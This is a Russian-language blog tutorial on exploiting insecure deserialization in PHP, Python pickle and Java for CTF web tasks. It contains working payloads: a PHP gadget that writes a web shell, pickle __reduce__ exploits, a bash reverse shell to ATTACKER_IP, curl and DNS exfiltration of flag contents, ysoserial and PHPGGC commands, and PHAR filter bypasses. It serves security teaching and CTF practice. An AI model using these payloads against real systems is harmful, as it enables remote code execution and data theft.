Главная / Блог / Insecure deserialization: эксплуатация PHP, Python, Java

12 мин.00

Insecure deserialization: эксплуатация PHP, Python, Java

Insecure deserialization: эксплуатация PHP, Python, Java

На последнем jeopardy-CTF я вытянул флаг из web-таска за 12 минут: base64-декодированная cookie содержала строку O:4:"User":2:{s:7:"isAdmin";b:0;}, замена b:0 на b:1 открыла admin-панель с флагом. В соседнем таске на Python другой участник команды провёл три часа — не опознал pickle-формат в POST-параметре и упорно искал SQL-инъекцию. Знакомо? Insecure deserialization входит в OWASP A08:2021 (Software and Data Integrity Failures) и остаётся одной из самых убойных уязвимостей в CTF-категории web: один HTTP-запрос — и у тебя RCE, чтение файлов или полный обход аутентификации. Разберём insecure deserialization эксплуатацию в трёх языках — от идентификации сериализованного объекта до получения шелла.

Как распознать десериализацию в web CTF-тасках

Половина успеха в CTF — распознать сериализованные данные раньше, чем начнёшь ковырять XSS или SQL-инъекцию. Данные обычно валяются в cookies, hidden-полях форм, POST-параметрах, реже — в HTTP-заголовках. Каждый язык оставляет характерный отпечаток. Подробнее — в нашем материале про создание ctf заданий.

PHP — самый читаемый формат. Строка начинается с типа данных и длины: O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}. Тут O — объект, s — строка с указанием длины, i — integer, b — boolean. По данным PortSwigger Web Security Academy, формат PHP-сериализации human-readable: буквы кодируют тип, числа — длину элемента. Если base64-декодированная cookie начинается с O: или a: — перед тобой результат serialize().

Java — бинарный формат. В hex-дампе ищи сигнатуру AC ED 00 05 в первых байтах потока. В base64 это превращается в rO0AB. Любой класс с интерфейсом java.io.Serializable может быть сериализован, а десериализация идёт через ObjectInputStream.readObject(). Видишь rO0AB в cookie или POST-body — это Java-объект, без вариантов.

Python pickle — тоже бинарный. Протоколы 2–5 начинаются с байта \x80 и номера версии: \x80\x03, \x80\x04, \x80\x05. В base64 это gAM, gAQ, gAU. Старый протокол (0 и 1) текстовый — содержит опкоды вида cos\nsystem\n или cbuiltins\nexec\n. Наличие cbuiltins или c__builtin__ в декодированном параметре — верный признак pickle.

Быстрый способ подтвердить десериализацию: подмени один байт в сериализованном объекте и отправь запрос. Прилетела 500-ка или stack trace с упоминанием unserialize(), readObject(), pickle.loads() — точка входа найдена.

Зачем атакующему десериализация

В реальном мире (и в CTF) десериализация позволяет внедрить произвольный объект в серверную логику. Это не модификация данных — это контроль над поведением приложения. Результат: от подмены роли пользователя и обхода аутентификации до полноценного RCE. В CTF это обычно cat /flag.txt; в продакшене — шелл на сервере с базой персональных данных.

Небезопасная десериализация PHP: object injection и gadget chains

PHP — самый частый язык для десериализационных тасков в CTF. Формат сериализации текстовый, а магические методы дают предсказуемые точки входа. Предусловие: на сервере должен быть класс с «полезным» магическим методом, доступный через autoload или явно подключённый.

Магические методы и построение цепочки

PHP object injection строится на магических методах — функциях, которые PHP вызывает автоматически при определённых событиях. Три метода, которые надо знать:

  • __wakeup() — вызывается сразу после unserialize()
  • __destruct() — срабатывает при уничтожении объекта (конец скрипта или явный unset)
  • __toString() — вызывается при приведении объекта к строке (например, echo $obj)

Классический CTF-сценарий: в исходниках таска есть класс, где __destruct() делает что-то опасное с атрибутами объекта. Такой класс (или его автозагрузчик) должен быть в scope уязвимого скрипта — приведённый ниже Logger иллюстративен, в реальном таске ищи подходящий класс в исходном коде или бери PHPGGC.

class Logger {
    public $logFile;
    public $logData;
    function __destruct() {
        file_put_contents($this->logFile, $this->logData);
    }
}
$payload = new Logger();
$payload->logFile = "shell.php";
$payload->logData = "<?php system(\$_GET['cmd']); ?>";
echo serialize($payload);

На выходе строка вида O:6:"Logger":2:{s:7:"logFile";s:9:"shell.php";s:7:"logData";s:31:"..."} (длина s:31 соответствует 31 байту payload). Отправляешь на сервер, PHP десериализует объект, в конце скрипта дёргается __destruct(), file_put_contents() пишет веб-шелл. При ручной сборке или модификации сериализованной строки длина после s: ОБЯЗАТЕЛЬНО должна точно совпадать с байтовой длиной значения — иначе unserialize() вернёт false и ничего не произойдёт. Дальше обращаешься к shell.php?cmd=cat+/flag.txt — флаг в кармане.

Отдельный приём, который русскоязычные источники почти не покрывают, — эксплуатация PHP type juggling через десериализацию. Согласно PortSwigger Web Security Academy, на PHP 7.x и ранее оператор == при сравнении целого числа 0 со строкой возвращает true: выражение 0 == "secret_password" истинно, потому что PHP приводит строку к 0. Если приложение проверяет пароль из десериализованного объекта через ==, достаточно заменить s:6:"qwerty" на i:0 в сериализованной строке. Десериализация сохранит тип данных — и проверка пароля пройдена. На PHP 8+ этот трюк закрыт: 0 == "string" возвращает false. На PHP 7.x сравнение 5 == "5 of something" давало true, на 8+ — false (RFC «Saner string to number comparisons» изменил семантику).

PHPGGC — готовые gadget chains для фреймворков

Когда исходный код таска не содержит очевидного уязвимого класса, но под капотом фреймворк (Laravel, Symfony, WordPress, Magento, Guzzle) — подключай PHPGGC. Это генератор gadget chain для PHP, аналог ysoserial для Java: собирает цепочки вызовов через существующие классы популярных библиотек.

На практике: команда phpggc Laravel/RCE1 system "cat /flag.txt" генерирует готовый сериализованный объект. Чтобы определить фреймворк в CTF, смотри заголовки ответа (X-Powered-By), cookies (Laravel — laravel_session, Symfony — PHPSESSID с характерным форматом), структуру ошибок и stack traces.

Команда phpggc -l выведет все доступные цепочки, phpggc -l Laravel — фильтр по фреймворку. Каждая цепочка указывает тип импакта (RCE, file read, file write, file delete) и совместимые версии библиотеки. Выбор неправильной версии — частая ошибка в CTF: payload генерируется без ошибок, а на сервере тишина.

PHAR-десериализация — обход без вызова unserialize

PHAR-десериализация — техника, которую RU-источники упоминают фрагментарно (на Codeby есть райтап с реальным кейсом через PHAR-полиглот), а PortSwigger разбирает как отдельный вектор атаки. Суть: PHP автоматически десериализует метаданные PHAR-архива при обращении через stream wrapper phar://. Это срабатывает в любой файловой функции: file_exists(), file_get_contents(), is_dir(), fopen(), filesize().

Сценарий в CTF: на сервере нет явного unserialize(), но есть загрузка файлов и обработка пользовательских путей через файловые функции. Алгоритм:

  1. Генерируешь PHAR-архив с вредоносным сериализованным объектом в метаданных — через PHP-скрипт с вызовом $phar->setMetadata($exploit_object)
  2. Если сервер проверяет расширение или MIME-тип — делаешь полиглот. Стаб PHAR гибкий: перед __HALT_COMPILER(); можно вставить JPEG magic bytes \xFF\xD8. Парсер изображений видит JPEG, парсер PHAR видит валидный архив
  3. Загружаешь файл на сервер под видом картинки
  4. Находишь способ обратиться к файлу через путь phar:///app/upload/image.jpg — PHP десериализует метаданные, срабатывает gadget chain

Если сервер фильтрует подстроку phar — пробуй смену регистра: PHAR://, Phar://. Также работают обёртки compress.zlib://phar:///path и compress.bzip2://phar:///path. В кейсе, описанном на форуме Codeby, обход фильтра через PHAR:// сработал на production-системе.

Предусловия для PHAR-десериализации: PHP с включённым модулем Phar, возможность загрузить файл и контролировать путь в файловой функции. Параметр phar.readonly по умолчанию On (начиная ещё с PHP 5.3) — но это ограничение только на запись новых PHAR-архивов, на чтение и десериализацию метаданных существующих файлов оно не влияет.

Десериализация Python pickle: эксплойт через reduce

Python pickle — особый случай. В отличие от PHP, где нужен существующий уязвимый класс на сервере, pickle позволяет выполнить произвольный код без каких-либо предусловий на стороне приложения. Любой вызов pickle.loads() с пользовательскими данными — готовый RCE. Как отмечено в источнике bi.zone, «для успешного проведения атаки не требуется каких-либо дополнительных предпосылок». Звучит слишком хорошо? Да. Именно поэтому pickle-таски на CTF — подарок.

Payload для pickle.loads с выполнением команд

Механизм: pickle-протокол поддерживает опкод REDUCE, который вызывает callable-объект с указанными аргументами при десериализации. Метод __reduce__() Python-класса определяет, какой callable и с какими параметрами будет вызван.

import pickle, base64
class Exploit:
    def __reduce__(self):
        return (__import__('os').system, ('cat /flag.txt',))
print(base64.b64encode(pickle.dumps(Exploit())))

На выходе — base64-строка. При десериализации через pickle.loads() на сервере вызывается os.system("cat /flag.txt"). Для reverse shell меняешь команду на bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1'.

Альтернативный callable — exec: конструкция return (exec, ('import os;os.system("id")',)) позволяет выполнить многострочный Python-код. Для CTF с blind-сценарием (нет вывода команды) используй DNS/HTTP exfiltration: curl http://YOUR_SERVER/$(cat /flag.txt | base64).

В CTF-тасках pickle-данные обычно передаются через cookie в base64, через POST-параметр или через WebSocket. Декодируй, проверь сигнатуру \x80\x03 или \x80\x04, собери payload и подставь обратно.

Обход фильтров pickle в CTF

CTF-авторы средней и высокой сложности ставят фильтры на десериализацию. Вот типичные ограничения и как их обходить:

Запрет модулей через find_class. Сервер наследует pickle.Unpickler и переопределяет find_class(), разрешая только определённые модули. Если запрещён os — используй builtins.eval: return (eval, ("__import__('os').system('cat /flag.txt')",)). Модуль builtins блокируют редко — без него не работает базовая десериализация.

Фильтрация по опкодам. Сервер анализирует pickle-поток и блокирует опкод R (REDUCE — основной способ вызова callable). Обход: ручная сборка pickle-потока с альтернативными опкодами. Опкод o (OBJ) и i (INST) вызывают callable через другой механизм. Для анализа существующего pickle-потока используй pickletools.dis(), для ручной сборки — struct.pack() и конкатенацию байтов. Этот уровень — для финалов CTF и тасков на 300+ очков. Тут уже надо понимать стековую машину pickle, а не просто копировать шаблоны.

Ограничение по версии протокола. Если сервер принимает только protocol 0 (текстовый), собирай payload вручную: cos\nsystem\n(S'cat /flag.txt'\ntR. — текстовое представление вызова os.system('cat /flag.txt') в pickle protocol 0. Символ R — тот же REDUCE, но в текстовом формате.

Предусловия для эксплуатации pickle: Python 2.x или 3.x (REDUCE работает во всех версиях), вызов pickle.loads() / pickle.load() с данными из недоверенного источника, отсутствие кастомного Unpickler с жёстким whitelist. Версия Python влияет на доступные модули, синтаксис payload и бинарную совместимость: DEFAULT_PROTOCOL различается между версиями (0 в Python 2, 5 в Python 3.8+), поэтому для Python 2-целей явно указывай protocol=2 в pickle.dumps().

ysoserial и Java десериализация: gadget chain эксплуатация

Java-десериализация — самая «тяжёлая» в настройке, но и самая разрушительная по последствиям. Gadget chains в Java работают через стандартные библиотеки (Apache Commons Collections, Spring Framework, Groovy), которые сидят в classpath большинства Java-приложений.

Идентификация Java-сериализации в трафике

Сигнатура Java ObjectInputStream: байты AC ED 00 05 в начале потока. В base64 — rO0AB. Расширение Java Deserialization Scanner для Burp Suite автоматизирует поиск: сканирует все параметры и cookies на наличие сигнатуры.

Подтверждение: подмени несколько байтов в mid-stream и отправь запрос. В ответе java.io.StreamCorruptedException — десериализация есть. Если прилетело java.lang.ClassNotFoundException — ещё лучше: имя класса в исключении подскажет, какие библиотеки загружены и какие gadget chains доступны.

По данным Veracode, типичный пример: «An attacker abuses the R00 Java object signature and, by employing the Java Serial Killer tool, performs remote code execution on the application server.» В CTF механика та же, но вместо Java Serial Killer чаще берут ysoserial.

Генерация payload через ysoserial

ysoserial — генератор gadget chain payload для Java. Каждая цепочка привязана к конкретной библиотеке, которая должна быть в classpath целевого приложения.

java -jar ysoserial.jar CommonsCollections1 \
  "cat /flag.txt" | base64 -w 0

На выходе — base64-кодированный сериализованный объект. Подставляешь его в cookie или POST-параметр, сервер десериализует, срабатывает gadget chain, команда выполняется.

Основные цепочки для CTF:

Цепочка Целевая библиотека Примечание
CommonsCollections1 Apache CC 3.1 Самая распространённая в CTF-тасках
CommonsCollections5 Apache CC 3.1 Не требует SecurityManager
CommonsCollections7 Apache CC 3.1 Обход некоторых WAF
CommonsCollections2 Apache CC 4.0 Для версии 4.x
Groovy1 Groovy 2.3.x Встречается в Jenkins-тасках
Spring1 Spring Core Для Spring Boot-приложений
Jdk7u21 JDK 7u21 и ниже Без внешних зависимостей

Если библиотека на сервере неизвестна — перебирай цепочки. Команда java -jar ysoserial.jar без аргументов выведет полный список. В CTF обычно стреляет одна из CommonsCollections (1, 5 или 7). Я начинаю с пятёрки — она не зависит от SecurityManager и чаще всего подходит.

Для blind-эксплуатации (нет прямого вывода): java -jar ysoserial.jar CommonsCollections1 "curl http://YOUR_SERVER/$(cat /flag.txt | base64)" — флаг придёт в HTTP-запросе на контролируемый сервер. DNS-вариант: nslookup $(cat /flag.txt).your.domain.

Ограничения по версиям: CommonsCollections1 работает только с Commons Collections 3.x; для 4.x нужны CommonsCollections2 или CommonsCollections4. Цепочка Jdk7u21 эксплуатирует баг в конкретной версии JDK и не работает на 8+. В CTF авторы намеренно используют уязвимые версии — но проверять стоит по stack trace или серверным заголовкам.

Уязвимая десериализация объектов: сводная таблица

Критерий PHP Python pickle Java
Формат Текстовый (O:4:...) Бинарный (\x80\x03...) Бинарный (AC ED 00 05)
Base64-маркер Зависит от объекта gAM, gAQ rO0AB
Функция десериализации unserialize() pickle.loads() readObject()
Нужен уязвимый класс на сервере Да Нет Да (в classpath)
Генератор payload PHPGGC Скрипт с __reduce__ ysoserial
Ключевые методы __wakeup, __destruct __reduce__ readObject
Типичный результат RCE, file read/write, SSRF RCE RCE
Предусловия Класс с magic method Только pickle.loads() Библиотека в classpath
Сложность в CTF Низкая–средняя Низкая Средняя

Пошаговый алгоритм для CTF-таска с десериализацией

  1. Перехвати трафик в Burp Suite. Декодируй base64 из cookies, hidden fields и POST-параметров
  2. Определи язык по сигнатуре: O: → PHP, \x80\x03 → Python pickle, AC ED → Java
  3. Подмени один байт в сериализованном объекте — ошибка 500 с характерным exception подтверждает десериализацию
  4. PHP: изучи исходники на наличие классов с __destruct() / __wakeup(). Если используется фреймворк — запусти phpggc -l <framework> и подбери цепочку
  5. Python: собери payload с __reduce__() — return (os.system, ('cat /flag.txt',)) или через exec/eval для обхода фильтров
  6. Java: определи библиотеки по stack trace. Перебери цепочки ysoserial, начиная с CommonsCollections1/5/7
  7. Отправь payload. Если нет прямого вывода — используй DNS/HTTP callback для exfiltration флага

Insecure deserialization в реальном мире работает по тем же принципам, что и в CTF — разница в масштабе последствий. В CTF получаешь флаг; в продакшене атакующий получает шелл на сервере с пользовательскими данными. Я разбирал несколько инцидентов, где корневая причина — pickle.loads() на данных из Redis-очереди или unserialize() PHP-сессии, хранящейся в cookie без HMAC-подписи.

Самая неудобная правда: большинство разработчиков до сих пор не воспринимают десериализацию как вектор атаки. Им кажется, что бинарный формат Java или нечитаемый pickle-поток «сами по себе защищены». Это не так и никогда не было так — security through obscurity не защита, а отложенный инцидент. Каждый раз, когда я вижу pickle.loads(request.data) без кастомного Unpickler, ставлю мысленный крестик и иду за PoC. Если CTF-тасков мало и хочется довести десериализацию до пентестерского уровня — на WAPT есть модули с лабами под эту связку, от простых PHP object injection до полноценных Java gadget chain с прогрессией.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Деобфускация PowerShell скриптов: разбор для CTF

12 мин.

3

Деобфускация PowerShell скриптов: разбор для CTF

5 методов деобфускации PowerShell в CTF: замена IEX, дамп переменных ISE, CyberChef, PSDecode. Пошаговый разбор с чек-листом и MITRE-маппингом.

31 ОКТЯБРЬ, 2026

Ghidra для начинающих: анализ без ассемблера

12 мин.

5

Ghidra для начинающих: анализ без ассемблера

Практический Ghidra туториал: от установки до извлечения C2-адреса из бинарника. Читаем декомпилированный код вместо ассемблера за 40 минут.

30 ОКТЯБРЬ, 2026

XXE инъекция эксплуатация: файлы и SSRF в CTF

12 мин.

5

XXE инъекция эксплуатация: файлы и SSRF в CTF

Пошаговые payload'ы XXE для CTF: чтение файлов через file:// и php://filter, SSRF к metadata API, blind OOB-эксфильтрация. Workflow Burp Suite и обходы WAF.

30 ОКТЯБРЬ, 2026